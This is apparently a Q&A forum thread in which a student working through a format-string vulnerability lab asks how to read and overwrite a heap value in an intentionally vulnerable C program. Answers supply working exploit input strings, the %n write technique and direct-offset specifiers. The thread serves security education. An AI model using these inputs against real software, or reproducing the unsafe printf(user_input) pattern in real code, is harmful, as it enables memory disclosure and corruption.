Accessing 2nd element of an array in a format string vulnerability attack
Asked Answered
F

3

10

I'm working on a format-string vulnerability lab, where we're given the following code:

#define SECRET1 0x44
#define SECRET2 0x55

int main(int argc, char *argv[])
{
  char user_input[100];
  int *secret;
  int int_input;
  int a, b, c, d; /* other variables, not used here.*/

  /* The secret value is stored on the heap */
  secret = (int *) malloc(2*sizeof(int));

  /* getting the secret */
  secret[0] = SECRET1; 
  secret[1] = SECRET2;

  printf("The variable secret's address is 0x%.8x (on stack)\n", &secret);
  printf("The variable secret's value is 0x%.8x (on heap)\n", secret);
  printf("secret[0]'s address is 0x%.8x (on heap)\n", &secret[0]);
  printf("secret[1]'s address is 0x%.8x (on heap)\n", &secret[1]);

  printf("Please enter a decimal integer\n");
  scanf("%d", &int_input);  /* getting an input from user */
  printf("Please enter a string\n");
  scanf("%s", user_input); /* getting a string from user */

  /* vulnerable place */
  printf(user_input);
  printf("\n");

  /* Verify whether your attack is successful */
  printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
  printf("The new secrets:      0x%x -- 0x%x\n", secret[0], secret[1]);
  return 0;
  }

We're not supposed to modify the code at all. Using just the input, we have 4 goals: crash the program, print the value at secret[1], modify the value at secret[1], and modify the value at secret[1] to a pre-determined value.

Sample output I get is:

The variable secret's address is 0xbfffe7cc (on stack)
The variable secret's value is -x0804a008 (on heap)
secret[0]'s address is 0x0804a008 (on heap)
secret[1]'s address is 0x0804a00c (on heap)
Please enter a decimal integer
65535
Please enter a string
%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x.
bfffe7d0.00000000.00000000.00000000.00000000.0000ffff.0804a008.78383025

So, by entering 8 "%08x"s, I print the address of secret + 4, then I print the addresses of ints a, b, c, and d - but as I never gave them a value, they don't point anywhere and just display 0's. Following that is the decimal I input, chosen so that the 'ffff' would be clearly visible. Next comes the address of secret[0], then I get into other values stored in the program.

If I were to input AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x., after the .0804a008 would be .41414141, because the A's from the string input would be stored there.

It's pretty easy to crash the program: enough %s on the string input causes a segfault. Now I need to read the value at secret[1], though, and I'm totally lost. I tried trying to put the address on the stack somehow, by putting it at the start of the string like so: \xd0\xe7\xff\xbf_%08x.%08x.%08x.%08x.%08x.%08x.%s, but the address isn't getting pushed anywhere and I just print secret[0] (which, for the curious, is 'D'). I've tried all sorts of address, but after a while I realized I was just storing all of them as a string where those A's showed up previously. They're not being converted to hex or anything.

I've seen a lot of discussion about this code on SA and other places, but I've yet to see anyone talk about how you get the values at secret[1].

Any help would be greatly appreciated.

Florinda answered 17/4, 2013 at 18:27 Comment(0)
U
5

To access secret[1] you must enter it address as the integer input.

Please enter a decimal integer
73740
Please enter a string
%08x.%08x.%08x.%08x.%08x.%08x.%s
00008744.bead4ca4.bead4cc4.bead4dc4.00000001.000000a8.U
Urnfield answered 17/4, 2013 at 20:41 Comment(1)
Yup, this is what I was missing. Felt like a TOTAL idiot after finding this out. Thank you!Florinda
P
3

The trick is to use the %n specifier in the user-specified format string. %n says to take the number of bytes written so far and store them at the address pointed to by the next argument. When you don't supply enough arguments to printf, then the address that it writes to is whatever value happens to be next on the stack. If you can exploit that address to be what you want, then you can essentially write a 4-byte integer anywhere in memory.

// Normal usage: count receives the value 14, since 14 bytes were written when
// the %n was encountered
int count;
printf("Hello, world!\n%n", &count);

// UNDEFINED BEHAVIOR: The value 14 will get written to some unknown location in
// memory 
printf("Hello, world!\n%n");
Phelloderm answered 17/4, 2013 at 20:18 Comment(1)
This is correct, but you were a bit ahead of me: I was messing up trying to simply find the values that weren't on the stack. Once the values are available, they're not too hard to modify. I kept missing the painfully obvious answer, which is perhaps why you explained the more complicated (or at least more interesting) part.Florinda
D
1

You can actually specify the offset directly in the format string.

eg.

$ printf "ADDRESS_IN_DECIMAL\n%%ADDRESS_OFFSET\$p_%%ADDRESS_OFFSET\$s\n" | ./vul_prog
Discommend answered 13/10, 2014 at 17:19 Comment(0)

© 2022 - 2024 — McMap. All rights reserved.